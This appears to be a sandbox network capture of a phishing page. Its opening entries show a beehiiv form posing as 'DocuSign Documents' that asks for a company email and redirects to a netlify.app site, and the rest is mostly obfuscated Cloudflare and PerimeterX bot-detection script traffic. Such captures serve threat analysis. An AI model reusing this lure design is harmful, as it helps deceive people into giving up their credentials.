2025-02-06 21:52:48 UTC	601	IN	Data Raw: 7b 22 69 64 22 3a 22 62 65 65 35 38 32 31 32 2d 35 35 66 39 2d 34 66 37 63 2d 39 39 34 65 2d 33 38 30 37 35 31 65 33 64 36 34 36 22 2c 22 70 75 62 6c 69 63 61 74 69 6f 6e 5f 69 64 22 3a 22 62 61 65 35 65 64 63 36 2d 31 35 38 37 2d 34 62 63 39 2d 61 66 61 35 2d 34 64 30 61 31 66 35 31 33 38 63 65 22 2c 22 6e 61 6d 65 22 3a 22 44 6f 63 75 53 69 67 6e 20 44 6f 63 75 6d 65 6e 74 73 22 2c 22 68 65 61 64 65 72 22 3a 22 44 6f 63 75 53 69 67 6e 20 44 6f 63 75 6d 65 6e 74 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 69 67 6e 2d 69 6e 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 77 69 74 68 20 72 65 63 69 70 69 65 6e 74 20 63 6f 6d 70 61 6e 79 20 65 6d 61 69 6c 20 69 73 20 72 65 71 75 69 72 65 64 20 74 6f 20 72 65 76 69 65 77 20 61 6e 64 20 65 6c 65 Data Ascii: {"id":"bee58212-55f9-4f7c-994e-380751e3d646","publication_id":"bae5edc6-1587-4bc9-afa5-4d0a1f5138ce","name":"DocuSign Documents","header":"DocuSign Documents","description":"Sign-in authentication with recipient company email is required to review and ele
2025-02-06 21:52:48 UTC	284	IN	Data Raw: 2d 30 31 2d 31 38 54 30 30 3a 33 36 3a 31 36 2e 36 38 32 5a 22 2c 22 75 70 64 61 74 65 64 5f 61 74 22 3a 22 32 30 32 35 2d 30 31 2d 31 38 54 32 30 3a 35 37 3a 33 35 2e 38 36 35 5a 22 2c 22 73 75 63 63 65 73 73 5f 6d 65 73 73 61 67 65 5f 74 65 78 74 22 3a 22 22 2c 22 73 75 63 63 65 73 73 5f 72 65 64 69 72 65 63 74 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 70 70 65 6e 64 73 2e 6e 65 74 6c 69 66 79 2e 61 70 70 22 2c 22 64 65 6c 65 74 65 64 5f 61 74 22 3a 6e 75 6c 6c 2c 22 69 6e 70 75 74 5f 70 6c 61 63 65 68 6f 6c 64 65 72 22 3a 22 45 6e 74 65 72 20 79 6f 75 72 20 65 6d 61 69 6c 22 2c 22 72 65 6d 6f 76 65 5f 65 6d 61 69 6c 5f 66 72 6f 6d 5f 72 65 64 69 72 65 63 74 5f 75 72 6c 22 3a 66 61 6c 73 65 2c 22 63 61 70 74 63 68 61 5f 65 6e 61 62 6c 65 64 22 3a Data Ascii: -01-18T00:36:16.682Z","updated_at":"2025-01-18T20:57:35.865Z","success_message_text":"","success_redirect_url":"https://appends.netlify.app","deleted_at":null,"input_placeholder":"Enter your email","remove_email_from_redirect_url":false,"captcha_enabled":

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:47 UTC	696	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:47 UTC	344	IN	HTTP/1.1 302 Found Date: Thu, 06 Feb 2025 21:52:47 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/g/scripts/jsd/8a57887573f2/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Server: cloudflare CF-RAY: 90de5e8afeba4297-EWR

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:47 UTC	543	OUT	GET /PXeBumDLwe/main.min.js HTTP/1.1 Host: client.px-cloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://embeds.beehiiv.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:47 UTC	751	IN	HTTP/1.1 200 OK Connection: close Content-Length: 171124 Cache-Control: max-age=600 Expires: Thu, 06 Feb 2025 22:02:47 GMT Last-Modified: Thu, 06 Feb 2025 21:45:18 GMT ETag: W/"3934e408fcdc2d2f59cf5f124d03c15c" x-goog-stored-content-length: 70865 Content-Type: application/javascript; charset=utf-8 X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Server: UploadServer Accept-Ranges: bytes Age: 0 Date: Thu, 06 Feb 2025 21:52:47 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890057-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1738878768.810679,VS0,VE61 Access-Control-Allow-Origin: * Vary: Accept-Encoding Active-CDN: Fastly-RG Access-Control-Expose-Headers: active-cdn,x-served-by
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 2f 2f 20 40 6c 69 63 65 6e 73 65 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 34 2d 32 30 32 35 20 50 65 72 69 6d 65 74 65 72 58 2c 20 49 6e 63 20 28 77 77 77 2e 70 65 72 69 6d 65 74 65 72 78 2e 63 6f 6d 29 2e 20 20 43 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 66 69 6c 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 63 6f 70 69 65 64 20 61 6e 64 2f 6f 72 20 64 69 73 74 72 69 62 75 74 65 64 2e 0a 74 72 79 7b 77 69 6e 64 6f 77 2e 5f 70 78 41 70 70 49 64 3d 22 50 58 65 42 75 6d 44 4c 77 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 Data Ascii: // @license Copyright (C) 2014-2025 PerimeterX, Inc (www.perimeterx.com). Content of this file can not be copied and/or distributed.try{window._pxAppId="PXeBumDLwe",function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==type
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 6c 65 63 74 6f 72 2f 63 6c 69 65 6e 74 45 72 72 6f 72 3f 72 3d 22 2c 79 3d 22 70 78 68 63 22 2c 67 3d 22 70 78 6a 73 63 22 2c 62 3d 22 63 22 2c 45 3d 22 62 22 2c 54 3d 22 66 75 6e 63 74 69 6f 6e 22 2c 53 3d 77 69 6e 64 6f 77 2c 52 3d 64 6f 63 75 6d 65 6e 74 2c 49 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 77 3d 2f 5b 5e 2b 2f 3d 30 2d 39 41 2d 5a 61 2d 7a 5d 2f 2c 41 3d 53 2e 61 74 6f 62 2c 78 3d 53 2e 62 74 6f 61 2c 4d 3d 74 28 41 29 2c 43 3d 74 28 78 29 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 74 29 7b 72 65 74 75 72 6e 20 43 3d 3d 3d 54 3f 78 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e Data Ascii: lector/clientError?r=",y="pxhc",g="pxjsc",b="c",E="b",T="function",S=window,R=document,I="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",w=/[^+/=0-9A-Za-z]/,A=S.atob,x=S.btoa,M=t(A),C=t(x);function O(t){return C===T?x(encodeURIComponen
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 6f 72 28 6e 3d 30 2c 72 3d 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 5b 74 5d 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 7b 69 66 28 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 5b 74 5d 5b 6e 5d 2e 66 6e 3d 3d 3d 65 29 7b 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 5b 74 5d 2e 73 70 6c 69 63 65 28 6e 2c 31 29 3b 62 72 65 61 6b 7d 7d 7d 2c 73 75 62 73 63 72 69 62 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 72 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 26 26 28 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 3d 7b 7d 29 2c 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 5b 74 5d 3d 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 5b 74 5d 7c 7c 5b 5d 2c 74 68 69 73 2e 63 68 61 6e 6e 65 6c 73 5b 74 5d 2e 70 75 73 68 28 7b 66 6e 3a 65 2c 63 74 78 3a 6e 2c 6f Data Ascii: or(n=0,r=this.channels[t].length;n<r;n++){if(this.channels[t][n].fn===e){this.channels[t].splice(n,1);break}}},subscribe:function(t,e,n,r){void 0===this.channels&&(this.channels={}),this.channels[t]=this.channels[t]\|\|[],this.channels[t].push({fn:e,ctx:n,o
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 2c 6e 3a 22 5c 6e 22 2c 72 3a 22 5c 72 22 2c 74 3a 22 5c 74 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 59 28 74 29 7b 72 65 74 75 72 6e 20 46 2e 6c 61 73 74 49 6e 64 65 78 3d 30 2c 27 22 27 2b 28 46 2e 74 65 73 74 28 74 29 3f 74 2e 72 65 70 6c 61 63 65 28 46 2c 7a 29 3a 74 29 2b 27 22 27 7d 66 75 6e 63 74 69 6f 6e 20 48 28 29 7b 76 61 72 20 65 2c 6e 2c 72 2c 61 3d 22 22 3b 69 66 28 27 22 27 3d 3d 3d 4e 29 66 6f 72 28 3b 71 28 29 3b 29 7b 69 66 28 27 22 27 3d 3d 3d 4e 29 72 65 74 75 72 6e 20 71 28 29 2c 61 3b 69 66 28 22 5c 5c 22 3d 3d 3d 4e 29 69 66 28 71 28 29 2c 22 75 22 3d 3d 3d 4e 29 7b 66 6f 72 28 72 3d 30 2c 6e 3d 30 3b 6e 3c 34 26 26 28 65 3d 70 61 72 73 65 49 6e 74 28 71 28 29 2c 31 36 29 2c 69 73 46 69 6e 69 74 65 28 65 29 29 3b 6e 2b 3d 31 29 72 3d 31 Data Ascii: ,n:"\n",r:"\r",t:"\t"};function Y(t){return F.lastIndex=0,'"'+(F.test(t)?t.replace(F,z):t)+'"'}function H(){var e,n,r,a="";if('"'===N)for(;q();){if('"'===N)return q(),a;if("\\"===N)if(q(),"u"===N){for(r=0,n=0;n<4&&(e=parseInt(q(),16),isFinite(e));n+=1)r=1
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 3b 63 61 73 65 20 66 3a 72 65 74 75 72 6e 20 59 28 65 29 7d 69 66 28 6e 75 6c 6c 3d 3d 3d 65 7c 7c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 72 65 74 75 72 6e 20 57 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 61 74 65 29 72 65 74 75 72 6e 5b 27 22 27 2c 65 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 2c 22 2d 22 2c 65 2e 67 65 74 4d 6f 6e 74 68 28 29 2b 31 2c 22 2d 22 2c 65 2e 67 65 74 44 61 74 65 28 29 2c 22 54 22 2c 65 2e 67 65 74 48 6f 75 72 73 28 29 2c 22 3a 22 2c 65 2e 67 65 74 4d 69 6e 75 74 65 73 28 29 2c 22 3a 22 2c 65 2e 67 65 74 53 65 63 6f 6e 64 73 28 29 2c 22 2e 22 2c 65 2e 67 65 74 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 28 29 2c 27 22 27 5d 2e 6a 6f 69 6e 28 22 22 29 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 Data Ascii: ;case f:return Y(e)}if(null===e\|\|e instanceof RegExp)return W;if(e instanceof Date)return['"',e.getFullYear(),"-",e.getMonth()+1,"-",e.getDate(),"T",e.getHours(),":",e.getMinutes(),":",e.getSeconds(),".",e.getMilliseconds(),'"'].join("");if(e instanceof A
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 3d 4b 28 29 3b 69 66 28 74 29 7b 76 61 72 20 65 3d 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 72 65 74 75 72 6e 20 65 2e 68 72 65 66 3d 74 2e 73 72 63 2c 65 2e 68 6f 73 74 6e 61 6d 65 3d 3d 3d 63 2e 68 6f 73 74 6e 61 6d 65 7d 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 6f 2e 73 63 72 69 70 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 6f 2e 73 63 72 69 70 74 73 5b 6e 5d 2e 73 72 63 3b 69 66 28 72 26 26 6c 74 2e 74 65 73 74 28 72 29 29 72 65 74 75 72 6e 21 31 3b 6c 74 2e 6c 61 73 74 49 6e 64 65 78 3d 6e 75 6c 6c 7d 72 65 74 75 72 6e 21 30 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 69 66 28 74 28 65 29 3d 3d 3d 66 29 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 27 5c 5c 22 27 29 7d 66 75 Data Ascii: =K();if(t){var e=o.createElement("a");return e.href=t.src,e.hostname===c.hostname}for(var n=0;n<o.scripts.length;n++){var r=o.scripts[n].src;if(r&&lt.test(r))return!1;lt.lastIndex=null}return!0}();function ht(e){if(t(e)===f)return e.replace(/"/g,'\\"')}fu
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 69 6f 6e 20 62 74 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 28 65 3d 67 74 28 65 29 29 69 6e 20 74 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 76 61 6c 75 65 3a 6e 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 74 5b 65 5d 3d 6e 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 78 74 28 4f 74 28 41 74 28 74 29 2c 38 2a 74 2e 6c 65 6e 67 74 68 29 29 7d 28 54 74 28 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 74 29 7b 72 65 74 75 72 6e 20 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 7d 66 75 6e 63 74 Data Ascii: ion bt(t,e,n){return(e=gt(e))in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function Et(t){return function(t){return xt(Ot(At(t),8*t.length))}(Tt(t))}function Tt(t){return unescape(encodeURIComponent(t))}funct
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 63 3d 42 74 28 63 2c 75 2c 73 2c 6c 2c 74 5b 6e 5d 2c 37 2c 2d 36 38 30 38 37 36 39 33 36 29 2c 6c 3d 42 74 28 6c 2c 63 2c 75 2c 73 2c 74 5b 6e 2b 31 5d 2c 31 32 2c 2d 33 38 39 35 36 34 35 38 36 29 2c 73 3d 42 74 28 73 2c 6c 2c 63 2c 75 2c 74 5b 6e 2b 32 5d 2c 31 37 2c 36 30 36 31 30 35 38 31 39 29 2c 75 3d 42 74 28 75 2c 73 2c 6c 2c 63 2c 74 5b 6e 2b 33 5d 2c 32 32 2c 2d 31 30 34 34 35 32 35 33 33 30 29 2c 63 3d 42 74 28 63 2c 75 2c 73 2c 6c 2c 74 5b 6e 2b 34 5d 2c 37 2c 2d 31 37 36 34 31 38 38 39 37 29 2c 6c 3d 42 74 28 6c 2c 63 2c 75 2c 73 2c 74 5b 6e 2b 35 5d 2c 31 32 2c 31 32 30 30 30 38 30 34 32 36 29 2c 73 3d 42 74 28 73 2c 6c 2c 63 2c 75 2c 74 5b 6e 2b 36 5d 2c 31 37 2c 2d 31 34 37 33 32 33 31 33 34 31 29 2c 75 3d 42 74 28 75 2c 73 2c 6c 2c 63 2c Data Ascii: c=Bt(c,u,s,l,t[n],7,-680876936),l=Bt(l,c,u,s,t[n+1],12,-389564586),s=Bt(s,l,c,u,t[n+2],17,606105819),u=Bt(u,s,l,c,t[n+3],22,-1044525330),c=Bt(c,u,s,l,t[n+4],7,-176418897),l=Bt(l,c,u,s,t[n+5],12,1200080426),s=Bt(s,l,c,u,t[n+6],17,-1473231341),u=Bt(u,s,l,c,
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 30 39 34 37 33 30 36 34 30 29 2c 63 3d 4e 74 28 63 2c 75 2c 73 2c 6c 2c 74 5b 6e 2b 31 33 5d 2c 34 2c 36 38 31 32 37 39 31 37 34 29 2c 6c 3d 4e 74 28 6c 2c 63 2c 75 2c 73 2c 74 5b 6e 5d 2c 31 31 2c 2d 33 35 38 35 33 37 32 32 32 29 2c 73 3d 4e 74 28 73 2c 6c 2c 63 2c 75 2c 74 5b 6e 2b 33 5d 2c 31 36 2c 2d 37 32 32 35 32 31 39 37 39 29 2c 75 3d 4e 74 28 75 2c 73 2c 6c 2c 63 2c 74 5b 6e 2b 36 5d 2c 32 33 2c 37 36 30 32 39 31 38 39 29 2c 63 3d 4e 74 28 63 2c 75 2c 73 2c 6c 2c 74 5b 6e 2b 39 5d 2c 34 2c 2d 36 34 30 33 36 34 34 38 37 29 2c 6c 3d 4e 74 28 6c 2c 63 2c 75 2c 73 2c 74 5b 6e 2b 31 32 5d 2c 31 31 2c 2d 34 32 31 38 31 35 38 33 35 29 2c 73 3d 4e 74 28 73 2c 6c 2c 63 2c 75 2c 74 5b 6e 2b 31 35 5d 2c 31 36 2c 35 33 30 37 34 32 35 32 30 29 2c 63 3d 52 74 Data Ascii: 094730640),c=Nt(c,u,s,l,t[n+13],4,681279174),l=Nt(l,c,u,s,t[n],11,-358537222),s=Nt(s,l,c,u,t[n+3],16,-722521979),u=Nt(u,s,l,c,t[n+6],23,76029189),c=Nt(c,u,s,l,t[n+9],4,-640364487),l=Nt(l,c,u,s,t[n+12],11,-421815835),s=Nt(s,l,c,u,t[n+15],16,530742520),c=Rt
2025-02-06 21:52:47 UTC	1378	IN	Data Raw: 22 29 2c 69 3d 61 5b 72 5d 5b 6f 5d 3b 69 66 28 74 28 69 29 21 3d 3d 68 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 69 28 65 2c 6e 29 7d 63 61 74 63 68 28 74 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 59 74 28 65 2c 6e 2c 72 2c 61 29 7b 76 61 72 20 6f 3b 74 72 79 7b 6f 3d 72 28 29 7d 63 61 74 63 68 28 74 29 7b 7d 72 65 74 75 72 6e 20 74 28 6f 29 3d 3d 3d 75 26 26 28 6f 3d 74 28 61 29 3d 3d 3d 75 3f 22 6d 69 73 73 69 6e 67 22 3a 61 29 2c 65 5b 6e 5d 3d 6f 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 74 29 7b 76 61 72 20 65 3d 5b 5d 3b 69 66 28 21 74 29 72 65 74 75 72 6e 20 65 3b 66 6f 72 28 76 61 72 20 6e 2c 72 3d 74 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 61 3d 6e 75 6c 6c 2c 6f 3d 2f 5e 5c 73 2a 61 74 20 28 2e 2a 3f 29 20 3f 5c 28 3f 28 28 3f 3a 66 69 6c 65 Data Ascii: "),i=a[r][o];if(t(i)!==h)return;return i(e,n)}catch(t){}}function Yt(e,n,r,a){var o;try{o=r()}catch(t){}return t(o)===u&&(o=t(a)===u?"missing":a),e[n]=o,o}function Ht(t){var e=[];if(!t)return e;for(var n,r=t.split("\n"),a=null,o=/^\sat (.?) ?\(?((?:file

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:48 UTC	714	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/8a57887573f2/main.js? HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:48 UTC	323	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8428 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Server: cloudflare CF-RAY: 90de5e8ead68de93-EWR
2025-02-06 21:52:48 UTC	1046	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 57 2c 68 2c 69 2c 6a 2c 6f 2c 73 2c 7a 2c 41 29 7b 57 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 56 2c 65 2c 66 29 7b 66 6f 72 28 56 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 56 28 35 35 31 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 56 28 34 38 37 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 56 28 35 33 35 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 35 34 32 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 34 36 39 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 34 36 38 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 56 28 34 35 37 29 29 2f 37 2a 28 70 61 72 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(W,h,i,j,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=-parseInt(V(551))/1+parseInt(V(487))/2(-parseInt(V(535))/3)+-parseInt(V(542))/4+-parseInt(V(469))/5+-parseInt(V(468))/6+parseInt(V(457))/7(par
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 30 3b 48 3c 4e 3b 50 3d 55 7c 50 3c 3c 31 2e 32 33 2c 46 2d 31 3d 3d 51 3f 28 51 3d 30 2c 4f 5b 5a 28 34 36 32 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3d 30 2c 48 2b 2b 29 3b 66 6f 72 28 55 3d 4b 5b 5a 28 34 37 34 29 5d 28 30 29 2c 48 3d 30 3b 31 36 3e 48 3b 50 3d 50 3c 3c 31 2e 35 39 7c 55 26 31 2e 34 37 2c 51 3d 3d 46 2d 31 3f 28 51 3d 30 2c 4f 5b 5a 28 34 36 32 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3e 3e 3d 31 2c 48 2b 2b 29 3b 7d 4c 2d 2d 2c 30 3d 3d 4c 26 26 28 4c 3d 4d 61 74 68 5b 5a 28 34 36 36 29 5d 28 32 2c 4e 29 2c 4e 2b 2b 29 2c 64 65 6c 65 74 65 20 4a 5b 4b 5d 7d 65 6c 73 65 20 66 6f 72 28 55 3d 49 5b 4b 5d 2c 48 3d 30 3b 48 3c 4e 3b 50 3d 50 3c 3c 31 7c 55 26 31 2c 46 2d 31 3d 3d 51 3f 28 51 3d 30 2c 4f 5b Data Ascii: 0;H<N;P=U\|P<<1.23,F-1==Q?(Q=0,O[Z(462)](G(P)),P=0):Q++,U=0,H++);for(U=K[Z(474)](0),H=0;16>H;P=P<<1.59\|U&1.47,Q==F-1?(Q=0,O[Z(462)](G(P)),P=0):Q++,U>>=1,H++);}L--,0==L&&(L=Math[Z(466)](2,N),N++),delete J[K]}else for(U=I[K],H=0;H<N;P=P<<1\|U&1,F-1==Q?(Q=0,O[
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 52 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 52 3d 30 2c 53 3d 4d 61 74 68 5b 61 32 28 34 36 36 29 5d 28 32 2c 38 29 2c 4e 3d 31 3b 53 21 3d 4e 3b 54 3d 50 26 4f 2c 50 3e 3e 3d 31 2c 30 3d 3d 50 26 26 28 50 3d 46 2c 4f 3d 47 28 51 2b 2b 29 29 2c 52 7c 3d 28 30 3c 54 3f 31 3a 30 29 2a 4e 2c 4e 3c 3c 3d 31 29 3b 55 3d 64 28 52 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 52 3d 30 2c 53 3d 4d 61 74 68 5b 61 32 28 34 36 36 29 5d 28 32 2c 31 36 29 2c 4e 3d 31 3b 4e 21 3d 53 3b 54 3d 50 26 4f 2c 50 3e 3e 3d 31 2c 50 3d 3d 30 26 26 28 50 3d 46 2c 4f 3d 47 28 51 2b 2b 29 29 2c 52 7c 3d 4e 2a 28 30 3c 54 3f 31 3a 30 29 2c 4e 3c 3c 3d 31 29 3b 55 3d 64 28 52 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 Data Ascii: <<=1);switch(R){case 0:for(R=0,S=Math[a2(466)](2,8),N=1;S!=N;T=P&O,P>>=1,0==P&&(P=F,O=G(Q++)),R\|=(0<T?1:0)N,N<<=1);U=d(R);break;case 1:for(R=0,S=Math[a2(466)](2,16),N=1;N!=S;T=P&O,P>>=1,P==0&&(P=F,O=G(Q++)),R\|=N(0<T?1:0),N<<=1);U=d(R);break;case 2:retur
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 28 34 39 37 29 5d 5b 61 65 28 34 39 34 29 5d 28 4b 29 2c 4c 3d 30 3b 4c 3c 4a 5b 61 65 28 35 35 30 29 5d 3b 4d 3d 4a 5b 4c 5d 2c 4e 3d 78 28 45 2c 46 2c 4d 29 2c 4b 28 4e 29 3f 28 4f 3d 4e 3d 3d 3d 27 73 27 26 26 21 45 5b 61 65 28 34 37 39 29 5d 28 46 5b 4d 5d 29 2c 61 65 28 35 33 36 29 3d 3d 3d 47 2b 4d 3f 49 28 47 2b 4d 2c 4e 29 3a 4f 7c 7c 49 28 47 2b 4d 2c 46 5b 4d 5d 29 29 3a 49 28 47 2b 4d 2c 4e 29 2c 4c 2b 2b 29 3b 72 65 74 75 72 6e 20 48 3b 66 75 6e 63 74 69 6f 6e 20 49 28 50 2c 51 2c 61 64 29 7b 61 64 3d 62 2c 4f 62 6a 65 63 74 5b 61 64 28 34 35 34 29 5d 5b 61 64 28 34 37 35 29 5d 5b 61 64 28 34 35 38 29 5d 28 48 2c 51 29 7c 7c 28 48 5b 51 5d 3d 5b 5d 29 2c 48 5b 51 5d 5b 61 64 28 34 36 32 29 5d 28 50 29 7d 7d 2c 7a 3d 57 28 34 35 31 29 5b 57 28 Data Ascii: (497)][ae(494)](K),L=0;L<J[ae(550)];M=J[L],N=x(E,F,M),K(N)?(O=N==='s'&&!E[ae(479)](F[M]),ae(536)===G+M?I(G+M,N):O\|\|I(G+M,F[M])):I(G+M,N),L++);return H;function I(P,Q,ad){ad=b,Object[ad(454)][ad(475)][ad(458)](H,Q)\|\|(H[Q]=[]),H[Q][ad(462)](P)}},z=W(451)[W(
